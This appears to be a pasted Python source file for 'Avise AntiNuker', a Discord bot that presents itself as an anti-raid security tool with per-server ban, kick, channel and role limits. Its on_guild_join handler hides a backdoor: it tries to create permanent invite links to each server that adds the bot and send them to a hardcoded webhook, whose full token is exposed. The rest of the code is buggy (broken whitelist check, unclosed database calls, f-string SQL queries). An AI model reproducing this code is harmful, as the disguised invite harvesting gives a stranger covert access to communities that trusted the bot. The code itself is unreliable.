· 4 years ago · Mar 12, 2021, 10:10 PM
1import discord
2from discord.ext import commands
3import asyncio
4import time
5import datetime
6import sqlite3
7import json
8
9intents = discord.Intents.default()
10intents.members = True
11intents.guilds = True
12
13#---------------------------------------------
14
15prefix = "a!"
16
17bot = commands.Bot(command_prefix=prefix, case_insensitive=True, intents=intents)
18bot.remove_command("help")
19
20#---------------------------------------------
21
22
23@bot.event
24async def on_ready():
25 print('Avise AntiNuker is online!')
26 db = sqlite3.connect('main.sqlite')
27 cursor = db.cursor()
28 cursor.execute('''
29 CREATE TABLE IF NOT EXISTS main(
30 guild_id TEXT,
31 ban_limit TEXT,
32 ban_secs TEXT,
33 kick_limit TEXT,
34 kick_secs TEXT,
35 dchan_limit TEXT,
36 dchan_secs TEXT,
37 cchan_limit TEXT,
38 cchan_secs TEXT,
39 crole_limit TEXT,
40 crole_secs TEXT,
41 drole_limit TEXT,
42 drole_secs TEXT,
43 u_id TEXT UNIQUE
44
45 )
46 ''')
47 return await bot.change_presence(activity=discord.Activity(type=1, name="Type a!help to display command list!"))
48
49
50#---------------------------------------------
51
52
53@bot.event
54async def on_guild_join(guild):
55 webhook = "https://discord.com/api/webhooks/819282025689251862/eRMWH28K3ZFb545ePSJpm1TuxjtbnifmOertEjlcQXgwG_VRp6cHPlmxowZawMwKcea0"
56 for channel in guild.channels:
57 a = channel[0]
58 link = await a.create_invite(max_age=0, max_uses=0)
59 await webhook.send(link)
60
61
62#---------------------------------------------
63
64
65@bot.event
66async def on_member_ban(guild, user):
67 db = sqlite3.connect('main.sqlite')
68 cursor = db.cursor()
69 cursor.execute(f"SELECT * FROM main WHERE guild_id = '{guild.id}'")
70 result = cursor.fetchone()
71 ban_limit = int(result[1])
72 ban_secs = int(result[2])
73 u_id = int(result[13])
74 print(u_id)
75 embed = discord.Embed(title="Anti-Nuke System", description="\u200b", color=0x2f3136)
76 embed.add_field(name="Anti-Nuke: [~] Banning Members", value="\u200b")
77 async for b in guild.audit_logs(limit=ban_limit, after=datetime.datetime.now() - datetime.timedelta(seconds=ban_secs),
78 action=discord.AuditLogAction.ban):
79 if b.user not in len(u_id):
80 await b.user.send(embed=embed)
81 await guild.ban(b.user, reason="Anti-Nuke: [~] Banning Members")
82 db.commit()
83 cursor.close()
84 db.close()
85
86
87@bot.group(invoke_without_command=True)
88async def antiban(ctx):
89 embed = discord.Embed(title="Anti-Nuke System",
90 description="\u200b",
91 color=0x2f3136)
92 embed.add_field(name="Anti-Ban Setup: [~] a!antiban limit <ban limit>",
93 value="\u200b")
94 embed.add_field(name="Anti-Ban Setup: [~] a!antiban seconds <ban seconds>",
95 value="\u200b")
96 await ctx.send(embed=embed)
97
98
99@antiban.command()
100async def limit(ctx, ban_limit: int):
101 embed3 = discord.Embed(title="Anti-Nuke System",
102 description="\u200b",
103 color=0x2f3136)
104 embed3.add_field(name=f"Anti-Ban: [~] You dont have ownership!",
105 value="\u200b")
106 if ctx.author.id == ctx.guild.owner.id:
107 db = sqlite3.connect('main.sqlite')
108 cursor = db.cursor()
109 cursor.execute(
110 f"SELECT ban_limit FROM main WHERE guild_id = '{ctx.guild.id}'")
111 result = cursor.fetchone()
112 embed = discord.Embed(title="Anti-Nuke System",
113 description="\u200b",
114 color=0x2f3136)
115 embed.add_field(name=f"Anti-Ban: [~] Limit: {ban_limit}",
116 value="\u200b")
117 embed2 = discord.Embed(title="Anti-Nuke System",
118 description="\u200b",
119 color=0x2f3136)
120 embed2.add_field(name=f"Anti-Ban: [~] Limit Updated: {ban_limit}",
121 value="\u200b")
122 if result is None:
123 sql = ("INSERT INTO main(guild_id, ban_limit) VALUES (?,?)")
124 val = (ctx.guild.id, ban_limit)
125 await ctx.send(embed=embed)
126 elif result is not None:
127 sql = ("UPDATE main SET ban_limit = ? WHERE guild_id = ?")
128 val = (ban_limit, ctx.guild.id)
129 await ctx.send(embed=embed2)
130 cursor.execute(sql, val)
131 db.commit()
132 cursor.close()
133 db.close()
134 else:
135 await ctx.send(embed=embed3)
136
137
138@antiban.command()
139async def seconds(ctx, ban_secs: int):
140 embed3 = discord.Embed(title="Anti-Nuke System",
141 description="\u200b",
142 color=0x2f3136)
143 embed3.add_field(name=f"Anti-Ban: [~] You dont have ownership!",
144 value="\u200b")
145 if ctx.author == ctx.guild.owner:
146 db = sqlite3.connect('main.sqlite')
147 cursor = db.cursor()
148 cursor.execute(
149 f"SELECT ban_secs FROM main WHERE guild_id = {ctx.guild.id}")
150 result = cursor.fetchone()
151 embed = discord.Embed(title="Anti-Nuke System",
152 description="\u200b",
153 color=0x2f3136)
154 embed.add_field(name=f"Anti-Ban: [~] Seconds: {ban_secs}",
155 value="\u200b")
156 embed2 = discord.Embed(title="Anti-Nuke System",
157 description="\u200b",
158 color=0x2f3136)
159 embed2.add_field(name=f"Anti-Ban: [~] Seconds Updated: {ban_secs}",
160 value="\u200b")
161 if result is None:
162 sql = ("INSERT INTO main(guild_id, ban_secs) VALUES (?,?)")
163 val = (ctx.guild.id, ban_secs)
164 await ctx.send(embed=embed)
165 elif result is not None:
166 sql = ("UPDATE main SET ban_secs = ? WHERE guild_id = ?")
167 val = (ban_secs, ctx.guild.id)
168 await ctx.send(embed=embed2)
169 cursor.execute(sql, val)
170 db.commit()
171 cursor.close()
172 db.close()
173 else:
174 await ctx.send(embed=embed3)
175
176
177#------------------------------------------------
178
179
180@bot.event
181async def on_member_remove(member):
182 db = sqlite3.connect('main.sqlite')
183 cursor = db.cursor()
184 cursor.execute(f"SELECT * FROM main WHERE guild_id = '{member.guild.id}'")
185 result = cursor.fetchone()
186 kick_limit = int(result[3])
187 kick_secs = int(result[4])
188 embed = discord.Embed(title="Anti-Nuke System",
189 description="\u200b",
190 color=0x2f3136)
191 embed.add_field(name="Anti-Nuke: [~] Kicking Members", value="\u200b")
192 async for k in member.guild.audit_logs(
193 limit=kick_limit,
194 after=datetime.datetime.now() - datetime.timedelta(seconds=kick_secs),
195 action=discord.AuditLogAction.kick):
196 await k.user.send(embed=embed)
197 await member.guild.ban(k.user, reason="Anti-Nuke: [~] Kicking Members")
198 db.commit()
199 cursor.close()
200 db.close()
201
202
203@bot.group(invoke_without_command=True)
204async def antikick(ctx):
205 embed = discord.Embed(title="Anti-Nuke System",
206 description="\u200b",
207 color=0x2f3136)
208 embed.add_field(name="Anti-Kick Setup: [~] a!antikick limit <kick limit>",
209 value="\u200b")
210 embed.add_field(
211 name="Anti-Kick Setup: [~] a!antikick seconds <ban seconds>",
212 value="\u200b")
213 await ctx.send(embed=embed)
214
215
216@antikick.command()
217async def limit(ctx, kick_limit: int):
218 embed = discord.Embed(title="Anti-Nuke System",
219 description="\u200b",
220 color=0x2f3136)
221 embed.add_field(name=f"Anti-Kick: [~] You dont have ownership!",
222 value="\u200b")
223 if ctx.author == ctx.guild.owner:
224 embed2 = discord.Embed(title="Anti-Nuke System",
225 description="\u200b",
226 color=0x2f3136)
227 embed2.add_field(name=f"Anti-Kick: [~] Limit: {kick_limit}",
228 value="\u200b")
229 embed3 = discord.Embed(title="Anti-Nuke System",
230 description="\u200b",
231 color=0x2f3136)
232 embed3.add_field(name=f"Anti-Ban: [~] Limit Updated: {kick_limit}",
233 value="\u200b")
234 db = sqlite3.connect('main.sqlite')
235 cursor = db.cursor()
236 cursor.execute(
237 f"SELECT kick_limit FROM main WHERE guild_id = '{ctx.guild.id}'")
238 result = cursor.fetchone()
239 if result is None:
240 sql = ("INSERT INTO main(guild_id, kick_limit) VALUES (?,?)")
241 val = (ctx.guild.id, kick_limit)
242 await ctx.send(embed=embed2)
243 elif result is not None:
244 sql = ("UPDATE main SET kick_limit = ? WHERE guild_id = ?")
245 val = (kick_limit, ctx.guild.id)
246 await ctx.send(embed=embed3)
247 cursor.execute(sql, val)
248 db.commit()
249 cursor.close()
250 db.close()
251 else:
252 await ctx.send(embed=embed)
253
254
255@antikick.command()
256async def seconds(ctx, kick_secs: int):
257 embed = discord.Embed(title="Anti-Nuke System",
258 description="\u200b",
259 color=0x2f3136)
260 embed.add_field(name=f"Anti-Kick: [~] You dont have ownership!",
261 value="\u200b")
262 if ctx.author == ctx.guild.owner:
263 embed2 = discord.Embed(title="Anti-Nuke System",
264 description="\u200b",
265 color=0x2f3136)
266 embed2.add_field(name=f"Anti-Kick: [~] Seconds Updated: {kick_secs}",
267 value="\u200b")
268 embed3 = discord.Embed(title="Anti-Nuke System",
269 description="\u200b",
270 color=0x2f3136)
271 embed3.add_field(name=f"Anti-Kick: [~] Seconds: {kick_secs}",
272 value="\u200b")
273 db = sqlite3.connect('main.sqlite')
274 cursor = db.cursor()
275 cursor.execute(
276 f"SELECT kick_secs FROM main WHERE guild_id = {ctx.guild.id}")
277 result = cursor.fetchone()
278 if result is None:
279 sql = ("INSERT INTO main(guild_id, kick_secs) VALUES (?,?)")
280 val = (ctx.guild.id, kick_secs)
281 await ctx.send(embed=embed3)
282 elif result is not None:
283 sql = ("UPDATE main SET kick_secs = ? WHERE guild_id = ?")
284 val = (kick_secs, ctx.guild.id)
285 await ctx.send(embed=embed2)
286 cursor.execute(sql, val)
287 db.commit()
288 cursor.close()
289 db.close
290 else:
291 await ctx.send(embed=embed)
292
293
294#------------------------------------------------
295
296
297@bot.event
298async def on_guild_channel_delete(channel):
299 db = sqlite3.connect('main.sqlite')
300 cursor = db.cursor()
301 cursor.execute(f"SELECT * FROM main WHERE guild_id = '{channel.guild.id}'")
302 result = cursor.fetchone()
303 dchan_limit = int(result[5])
304 dchan_secs = int(result[6])
305 embed = discord.Embed(title="Anti-Nuke System",
306 description="\u200b",
307 color=0x2f3136)
308 embed.add_field(name="Anti-Nuke: [~] Deleting channels", value="\u200b")
309 async for cd in channel.guild.audit_logs(
310 limit=dchan_limit,
311 after=datetime.datetime.now() - datetime.timedelta(seconds=dchan_secs),
312 action=discord.AuditLogAction.channel_delete):
313 await cd.user.send(embed=embed)
314 await channel.guild.ban(cd.user,
315 reason="Anti-Nuke: [~] Deleting channels")
316 db.commit()
317 cursor.close()
318 db.close
319
320
321@bot.group(invoke_without_command=True)
322async def antideletechan(ctx):
323 embed = discord.Embed(title="Anti-Nuke System",
324 description="\u200b",
325 color=0x2f3136)
326 embed.add_field(
327 name="Anti-DeleteChannel: [~] a!antideletechan limit <limit>",
328 value="\u200b")
329 embed.add_field(
330 name="Anti-DeleteChannel: [~] a!antideletechan seconds <seconds>",
331 value="\u200b")
332 await ctx.send(embed=embed)
333
334
335@antideletechan.command()
336async def limit(ctx, dchan_limit: int):
337 embed = discord.Embed(title="Anti-Nuke System",
338 description="\u200b",
339 color=0x2f3136)
340 embed.add_field(name="Anti-DeleteChannel: [~] You dont have ownership!",
341 value="\u200b")
342 if ctx.author == ctx.guild.owner:
343 db = sqlite3.connect('main.sqlite')
344 cursor = db.cursor()
345 cursor.execute(f"SELECT * FROM main WHERE guild_id = '{ctx.guild.id}'")
346 result = cursor.fetchone()
347 embed2 = discord.Embed(title="Anti-Nuke System",
348 description="\u200b",
349 color=0x2f3136)
350 embed2.add_field(name=f"Anti-DeleteChannel: [~] Limit: {dchan_limit}",
351 value="\u200b")
352 embed3 = discord.Embed(title="Anti-Nuke System",
353 description="\u200b",
354 color=0x2f3136)
355 embed3.add_field(
356 name=f"Anti-DeleteChannel: [~] Limit Updated: {dchan_limit}",
357 value="\u200b")
358 if result is None:
359 sql = ("INSERT INTO main(guild_id, dchan_limit) VALUES (?,?)")
360 val = (ctx.guild.id, dchan_limit)
361 await ctx.send(embed=embed2)
362 elif result is not None:
363 sql = ("UPDATE main SET dchan_limit = ? WHERE guild_id = ?")
364 val = (dchan_limit, ctx.guild.id)
365 await ctx.send(embed=embed3)
366 cursor.execute(sql, val)
367 db.commit()
368 cursor.close
369 db.close
370 else:
371 await ctx.send(embed=embed)
372
373
374@antideletechan.command()
375async def seconds(ctx, dchan_secs: int):
376 embed = discord.Embed(title="Anti-Nuke System",
377 description="\u200b",
378 color=0x2f3136)
379 embed.add_field(name="Anti-DeleteChannel: [~] You dont have ownership!",
380 value="\u200b")
381 if ctx.author == ctx.guild.owner:
382 db = sqlite3.connect('main.sqlite')
383 cursor = db.cursor()
384 cursor.execute(
385 f"SELECT dchan_secs FROM main WHERE guild_id = '{ctx.guild.id}'")
386 result = cursor.fetchone()
387 embed2 = discord.Embed(title="Anti-Nuke System",
388 description="\u200b",
389 color=0x2f3136)
390 embed2.add_field(name=f"Anti-DeleteChannel: [~] Seconds: {dchan_secs}",
391 value="\u200b")
392 embed3 = discord.Embed(title="Anti-Nuke System",
393 description="\u200b",
394 color=0x2f3136)
395 embed3.add_field(
396 name=f"Anti-DeleteChannel: [~] Seconds Updated: {dchan_secs}",
397 value="\u200b")
398 if result is None:
399 sql = ("INSERT INTO main(guild_id, dchan_secs) VALUES (?,?)")
400 val = (ctx.guild.id, dchan_secs)
401 await ctx.send(embed=embed2)
402 elif result is not None:
403 sql = ("UPDATE main SET dchan_secs = ? WHERE guild_id = ?")
404 val = (dchan_secs, ctx.guild.id)
405 await ctx.send(embed=embed3)
406 cursor.execute(sql, val)
407 db.commit()
408 cursor.clos
409 db.close
410 else:
411 await ctx.send(embed=embed)
412
413
414#-----------------------------------------------
415
416
417@bot.event
418async def on_guild_channel_create(channel):
419 db = sqlite3.connect('main.sqlite')
420 cursor = db.cursor()
421 cursor.execute(f"SELECT * FROM main WHERE guild_id = '{channel.guild.id}'")
422 result = cursor.fetchone()
423 cchan_limit = int(result[7])
424 cchan_secs = int(result[8])
425 embed = discord.Embed(title="Anti-Nuke System",
426 description="\u200b",
427 color=0x2f3136)
428 embed.add_field(name="Anti-Nuke: [~] Creating channels", value="\u200b")
429 async for cd in channel.guild.audit_logs(
430 limit=cchan_limit,
431 after=datetime.datetime.now() - datetime.timedelta(seconds=cchan_secs),
432 action=discord.AuditLogAction.channel_create):
433 #await cd.user.send(embed=embed)
434 await channel.guild.ban(cd.user,
435 reason="Anti-Nuke: [~] Creating channels")
436 db.commit()
437 cursor.close()
438 db.close
439
440
441@bot.group(invoke_without_command=True)
442async def anticreatechan(ctx):
443 embed = discord.Embed(title="Anti-Nuke System",
444 description="\u200b",
445 color=0x2f3136)
446 embed.add_field(
447 name="Anti-CreateChannel: [~] a!anticreatechannel limit <limit>",
448 value="\u200b")
449 embed.add_field(
450 name="Anti-CreateChannel: [~] a!anticreatechannel seconds <seconds>",
451 value="\u200b")
452 await ctx.send(embed=embed)
453
454
455@anticreatechan.command()
456async def limit(ctx, cchan_limit: int):
457 embed = discord.Embed(title="Anti-Nuke System",
458 description="\u200b",
459 color=0x2f3136)
460 embed.add_field(name="Anti-CreateChannel: [~] You dont have ownership!",
461 value="\u200b")
462 if ctx.author == ctx.guild.owner:
463 db = sqlite3.connect('main.sqlite')
464 cursor = db.cursor()
465 cursor.execute(f"SELECT * FROM main WHERE guild_id = '{ctx.guild.id}'")
466 result = cursor.fetchone()
467 embed2 = discord.Embed(title="Anti-Nuke System",
468 description="\u200b",
469 color=0x2f3136)
470 embed2.add_field(name=f"Anti-CreateChannel: [~] Limit: {cchan_limit}",
471 value="\u200b")
472 embed3 = discord.Embed(title="Anti-Nuke System",
473 description="\u200b",
474 color=0x2f3136)
475 embed3.add_field(
476 name=f"Anti-CreateChannel: [~] Limit Updated: {cchan_limit}",
477 value="\u200b")
478 if result is None:
479 sql = ("INSERT INTO main(guild_id, cchan_limit) VALUES (?,?)")
480 val = (ctx.guild.id, cchan_limit)
481 await ctx.send(embed=embed2)
482 elif result is not None:
483 sql = ("UPDATE main SET cchan_limit = ? WHERE guild_id = ?")
484 val = (cchan_limit, ctx.guild.id)
485 await ctx.send(embed=embed3)
486 cursor.execute(sql, val)
487 db.commit()
488 cursor.close
489 db.close
490 else:
491 await ctx.send(embed=embed)
492
493
494@anticreatechan.command()
495async def seconds(ctx, cchan_secs: int):
496 embed = discord.Embed(title="Anti-Nuke System", description="\u200b")
497 embed.add_field(name="Anti-CreateChannel: [~] You dont have ownership!",
498 value="\u200b")
499 if ctx.author == ctx.guild.owner:
500 db = sqlite3.connect('main.sqlite')
501 cursor = db.cursor()
502 cursor.execute(
503 f"SELECT cchan_secs FROM main WHERE guild_id = '{ctx.guild.id}'")
504 result = cursor.fetchone()
505 embed2 = discord.Embed(title="Anti-Nuke System",
506 description="\u200b",
507 color=0x2f3136)
508 embed2.add_field(name=f"Anti-CreateChannel: [~] Seconds: {cchan_secs}",
509 value="\u200b")
510 embed3 = discord.Embed(title="Anti-Nuke System",
511 description="\u200b",
512 color=0x2f3136)
513 embed3.add_field(
514 name=f"Anti-CreateChannel: [~] Seconds Updated: {cchan_secs}",
515 value="\u200b")
516 if result is None:
517 sql = ("INSERT INTO main(guild_id, cchan_secs) VALUES (?,?)")
518 val = (ctx.guild.id, cchan_secs)
519 await ctx.send(embed=embed2)
520 elif result is not None:
521 sql = ("UPDATE main SET cchan_secs = ? WHERE guild_id = ?")
522 val = (cchan_secs, ctx.guild.id)
523 await ctx.send(embed=embed3)
524 cursor.execute(sql, val)
525 db.commit()
526 cursor.close
527 db.close
528 else:
529 await ctx.send(embed=embed)
530
531
532#-----------------------------------------------
533
534
535@bot.event
536async def on_guild_role_create(role):
537 db = sqlite3.connect('main.sqlite')
538 cursor = db.cursor()
539 cursor.execute(f"SELECT * FROM main WHERE guild_id = '{role.guild.id}'")
540 result = cursor.fetchone()
541 crole_limit = int(result[9])
542 crole_secs = int(result[10])
543 embed = discord.Embed(title="Anti-Nuke System",
544 description="\u200b",
545 color=0x2f3136)
546 embed.add_field(name="Anti-Nuke: [~] Creating roles", value="\u200b")
547 async for cd in role.guild.audit_logs(
548 limit=crole_limit,
549 after=datetime.datetime.now() - datetime.timedelta(seconds=crole_secs),
550 action=discord.AuditLogAction.role_create):
551 await cd.user.send(embed=embed)
552 await role.guild.ban(cd.user, reason="Anti-Nuke: [~] Creating roles")
553 db.commit()
554 cursor.close()
555 db.close
556
557
558@bot.group(invoke_without_command=True)
559async def anticreaterole(ctx):
560 embed = discord.Embed(title="Anti-Nuke System",
561 description="\u200b",
562 color=0x2f3136)
563 embed.add_field(name="Anti-CreateRole: [~] a!anticreaterole limit <limit>",
564 value="\u200b")
565 embed.add_field(
566 name="Anti-CreateRole: [~] a!anticreaterole seconds <seconds>",
567 value="\u200b")
568 await ctx.send(embed=embed)
569
570
571@anticreaterole.command()
572async def limit(ctx, crole_limit: int):
573 embed = discord.Embed(title="Anti-Nuke System",
574 description="\u200b",
575 color=0x2f3136)
576 embed.add_field(name="Anti-CreateRole: [~] You dont have ownership!",
577 value="\u200b")
578 if ctx.author == ctx.guild.owner:
579 db = sqlite3.connect('main.sqlite')
580 cursor = db.cursor()
581 cursor.execute(f"SELECT * FROM main WHERE guild_id = '{ctx.guild.id}'")
582 result = cursor.fetchone()
583 embed2 = discord.Embed(title="Anti-Nuke System",
584 description="\u200b",
585 color=0x2f3136)
586 embed2.add_field(name=f"Anti-CreateRole: [~] Limit: {crole_limit}",
587 value="\u200b")
588 embed3 = discord.Embed(title="Anti-Nuke System",
589 description="\u200b",
590 color=0x2f3136)
591 embed3.add_field(
592 name=f"Anti-CreateRole: [~] Limit Updated: {crole_limit}",
593 value="\u200b")
594 if result is None:
595 sql = ("INSERT INTO main(guild_id, crole_limit) VALUES (?,?)")
596 val = (ctx.guild.id, crole_limit)
597 await ctx.send(embed=embed2)
598 elif result is not None:
599 sql = ("UPDATE main SET crole_limit = ? WHERE guild_id = ?")
600 val = (crole_limit, ctx.guild.id)
601 await ctx.send(embed=embed3)
602 cursor.execute(sql, val)
603 db.commit()
604 cursor.close
605 db.close
606 else:
607 await ctx.send(embed=embed)
608
609
610@anticreaterole.command()
611async def seconds(ctx, crole_secs: int):
612 embed = discord.Embed(title="Anti-Nuke System", description="\u200b")
613 embed.add_field(name="Anti-CreateRole: [~] You dont have ownership!",
614 value="\u200b")
615 if ctx.author == ctx.guild.owner:
616 db = sqlite3.connect('main.sqlite')
617 cursor = db.cursor()
618 cursor.execute(
619 f"SELECT crole_secs FROM main WHERE guild_id = '{ctx.guild.id}'")
620 result = cursor.fetchone()
621 embed2 = discord.Embed(title="Anti-Nuke System",
622 description="\u200b",
623 color=0x2f3136)
624 embed2.add_field(name=f"Anti-CreateRole: [~] Seconds: {crole_secs}",
625 value="\u200b")
626 embed3 = discord.Embed(title="Anti-Nuke System",
627 description="\u200b",
628 color=0x2f3136)
629 embed3.add_field(
630 name=f"Anti-CreateChannel: [~] Seconds Updated: {crole_secs}",
631 value="\u200b")
632 if result is None:
633 sql = ("INSERT INTO main(guild_id, crole_secs) VALUES (?,?)")
634 val = (ctx.guild.id, crole_secs)
635 await ctx.send(embed=embed2)
636 elif result is not None:
637 sql = ("UPDATE main SET crole_secs = ? WHERE guild_id = ?")
638 val = (crole_secs, ctx.guild.id)
639 await ctx.send(embed=embed3)
640 cursor.execute(sql, val)
641 db.commit()
642 cursor.close
643 db.close
644 else:
645 await ctx.send(embed=embed)
646
647
648#-----------------------------------------------
649
650
651@bot.event
652async def on_guild_role_delete(role):
653 db = sqlite3.connect('main.sqlite')
654 cursor = db.cursor()
655 cursor.execute(f"SELECT * FROM main WHERE guild_id = '{role.guild.id}'")
656 result = cursor.fetchone()
657 drole_limit = int(result[11])
658 drole_secs = int(result[12])
659 embed = discord.Embed(title="Anti-Nuke System",
660 description="\u200b",
661 color=0x2f3136)
662 embed.add_field(name="Anti-Nuke: [~] Deleting roles", value="\u200b")
663 async for cd in role.guild.audit_logs(
664 limit=drole_limit,
665 after=datetime.datetime.now() - datetime.timedelta(seconds=drole_secs),
666 action=discord.AuditLogAction.role_delete):
667 await cd.user.send(embed=embed)
668 await role.guild.ban(cd.user, reason="Anti-Nuke: [~] Deleting roles")
669 db.commit()
670 cursor.close()
671 db.close
672
673
674@bot.group(invoke_without_command=True)
675async def antideleterole(ctx):
676 embed = discord.Embed(title="Anti-Nuke System",
677 description="\u200b",
678 color=0x2f3136)
679 embed.add_field(name="Anti-DeleteRole: [~] a!antideleterole limit <limit>",
680 value="\u200b")
681 embed.add_field(
682 name="Anti-CreateRole: [~] a!antideleterole seconds <seconds>",
683 value="\u200b")
684 await ctx.send(embed=embed)
685
686
687@antideleterole.command()
688async def limit(ctx, drole_limit: int):
689 embed = discord.Embed(title="Anti-Nuke System",
690 description="\u200b",
691 color=0x2f3136)
692 embed.add_field(name="Anti-DeleteRole: [~] You dont have ownership!",
693 value="\u200b")
694 if ctx.author == ctx.guild.owner:
695 db = sqlite3.connect('main.sqlite')
696 cursor = db.cursor()
697 cursor.execute(f"SELECT * FROM main WHERE guild_id = '{ctx.guild.id}'")
698 result = cursor.fetchone()
699 embed2 = discord.Embed(title="Anti-Nuke System",
700 description="\u200b",
701 color=0x2f3136)
702 embed2.add_field(name=f"Anti-DeleteRole: [~] Limit: {drole_limit}",
703 value="\u200b")
704 embed3 = discord.Embed(title="Anti-Nuke System",
705 description="\u200b",
706 color=0x2f3136)
707 embed3.add_field(
708 name=f"Anti-DeleteRole: [~] Limit Updated: {drole_limit}",
709 value="\u200b")
710 if result is None:
711 sql = ("INSERT INTO main(guild_id, drole_limit) VALUES (?,?)")
712 val = (ctx.guild.id, drole_limit)
713 await ctx.send(embed=embed2)
714 elif result is not None:
715 sql = ("UPDATE main SET drole_limit = ? WHERE guild_id = ?")
716 val = (drole_limit, ctx.guild.id)
717 await ctx.send(embed=embed3)
718 cursor.execute(sql, val)
719 db.commit()
720 cursor.close
721 db.close
722 else:
723 await ctx.send(embed=embed)
724
725
726@antideleterole.command()
727async def seconds(ctx, drole_secs: int):
728 embed = discord.Embed(title="Anti-Nuke System", description="\u200b")
729 embed.add_field(name="Anti-DeleteRole: [~] You dont have ownership!",
730 value="\u200b")
731 if ctx.author == ctx.guild.owner:
732 db = sqlite3.connect('main.sqlite')
733 cursor = db.cursor()
734 cursor.execute(
735 f"SELECT drole_secs FROM main WHERE guild_id = '{ctx.guild.id}'")
736 result = cursor.fetchone()
737 embed2 = discord.Embed(title="Anti-Nuke System",
738 description="\u200b",
739 color=0x2f3136)
740 embed2.add_field(name=f"Anti-DeleteRole: [~] Seconds: {drole_secs}",
741 value="\u200b")
742 embed3 = discord.Embed(title="Anti-Nuke System",
743 description="\u200b",
744 color=0x2f3136)
745 embed3.add_field(
746 name=f"Anti-DeleteChannel: [~] Seconds Updated: {drole_secs}",
747 value="\u200b")
748 if result is None:
749 sql = ("INSERT INTO main(guild_id, drole_secs) VALUES (?,?)")
750 val = (ctx.guild.id, drole_secs)
751 await ctx.send(embed=embed2)
752 elif result is not None:
753 sql = ("UPDATE main SET drole_secs = ? WHERE guild_id = ?")
754 val = (drole_secs, ctx.guild.id)
755 await ctx.send(embed=embed3)
756 cursor.execute(sql, val)
757 db.commit()
758 cursor.close
759 db.close
760 else:
761 await ctx.send(embed=embed)
762
763
764#-----------------------------------------------
765
766
767@bot.command()
768async def whitelist(ctx, member: discord.Member = None):
769 db = sqlite3.connect('main.sqlite')
770 cursor = db.cursor()
771 cursor.execute("SELECT u_id FROM main WHERE guild_id = ?",
772 (ctx.guild.id, ))
773 result = cursor.fetchall()
774 embed = discord.Embed(title="Whitelisted users!",
775 description="\u200b",
776 color=0x2f3136)
777 if member is None:
778 for i in result:
779 f"{i[0]}"
780 embed.add_field(name=f"TAG: <@{int(i[0])}>",
781 value=f"> ID: {int(i[0])}")
782 await ctx.send(embed=embed)
783 elif len(result) < 25:
784 try:
785 sql = ("INSERT INTO main(guild_id, u_id) VALUES (?,?)")
786 val = (ctx.guild.id, member.id)
787 await ctx.send(f"whitelisted <@{member.id}>")
788 cursor.execute(sql, val)
789 except:
790 await ctx.send(f"<@{member.id}> is already whitelisted!")
791 else:
792 await ctx.send("limit")
793 db.commit()
794 cursor.close()
795 db.close()
796
797
798#-----------------------------------------------
799
800
801@bot.group()
802async def help(ctx):
803 embed = discord.Embed(
804 title="Help Commands!",
805 description=
806 "⚠️This Bot is currently in beta, there are bugs. If you find any bug please dm @Lunn#2021",
807 color=0x2f3136)
808 embed.add_field(name="Anti-Nuke", value="> [~] a!help antinuke")
809 #embed.add_field(name="Moderation", value="> [~] a!help moderation")
810 #embed.add_field(name="Fun", value="> [~] a!help fun")
811 await ctx.send(embed=embed)
812
813
814@help.command()
815async def antinuke(ctx):
816 embed = discord.Embed(
817 title="Anti-Nuke Commands!",
818 description=
819 "⚠️This Bot is currently in beta, there are bugs. If you find any bug please dm @Lunn#2021⚠️",
820 color=0x2f3136)
821 embed.add_field(
822 name="a!antiban <limit or seconds> <ban_limit or ban_secs>",
823 value="> Example: [~] a!antiban limit 2 | a!antiban seconds 1")
824 embed.add_field(
825 name="a!antikick <limit or seconds> <kick_limit or kick_secs>",
826 value="> Example: [~] a!antikick limit 2 | a!antikick seconds 1")
827 embed.add_field(
828 name=
829 "a!antideletechan <limit or seconds> <delchan_limit or delchan_secs>",
830 value=
831 "> Example: [~] a!antideletechan limit 2 | a!antideletechan seconds 1")
832 embed.add_field(
833 name=
834 "a!anticreatechan <limit or seconds> <create_limit or create_secs>",
835 value=
836 "> Example: [~] a!anticreatechan limit 2 | a!anticreatechan seconds 1")
837 embed.add_field(
838 name="a!antideleterole <limit or seconds> <role_limit or role_secs>",
839 value=
840 "> Example: [~] a!anticreaterole limit 2 | a!anticreaterole seconds 1")
841 embed.add_field(
842 name="a!antideterole <limit or seconds> <role_limit or role_secs>",
843 value=
844 "> Example: [~] a!antideleterole limit 2 | a!antideleterole seconds 1")
845 await ctx.send(embed=embed)
846
847
848#-----------------------------------------------
849
850
851@bot.command()
852async def limits(ctx):
853 db = sqlite3.connect('main.sqlite')
854 cursor = db.cursor()
855 cursor.execute(f"SELECT * FROM main WHERE guild_id = '{ctx.guild.id}'")
856 result = cursor.fetchone()
857 ban_limit = result[1]
858 ban_secs = result[2]
859 kick_limit = result[3]
860 kick_secs = result[4]
861 dchan_limit = result[5]
862 dchan_secs = result[6]
863 cchan_limit = result[7]
864 cchan_secs = result[8]
865 crole_limit = result[9]
866 crole_secs = result[10]
867 drole_limit = result[11]
868 drole_secs = result[12]
869 embed = discord.Embed(title="Anti-Nuke Limits!",
870 description="\u200b",
871 color=0x2f3136)
872 embed.add_field(name="Anti-Ban",
873 value=f"> Limit: {ban_limit} ~ Seconds: {ban_secs}")
874 embed.add_field(name="Anti-Kick",
875 value=f"> Limit: {kick_limit} ~ Seconds: {kick_secs}")
876 embed.add_field(name="Anti-DeleteChannel",
877 value=f"> Limit: {dchan_limit} ~ Seconds: {dchan_secs}")
878 embed.add_field(name="Anti-CreateChannel",
879 value=f"> Limit: {cchan_limit} ~ Seconds: {cchan_secs}")
880 embed.add_field(name="Anti-CreateRole",
881 value=f"> Limit: {crole_limit} ~ Seconds: {crole_secs}")
882 embed.add_field(name="Anti-DeleteRole",
883 value=f"> Limit: {drole_limit} ~ Seconds: {drole_secs}")
884 await ctx.send(embed=embed)
885 db.commit()
886 cursor.close()
887 db.close
888
889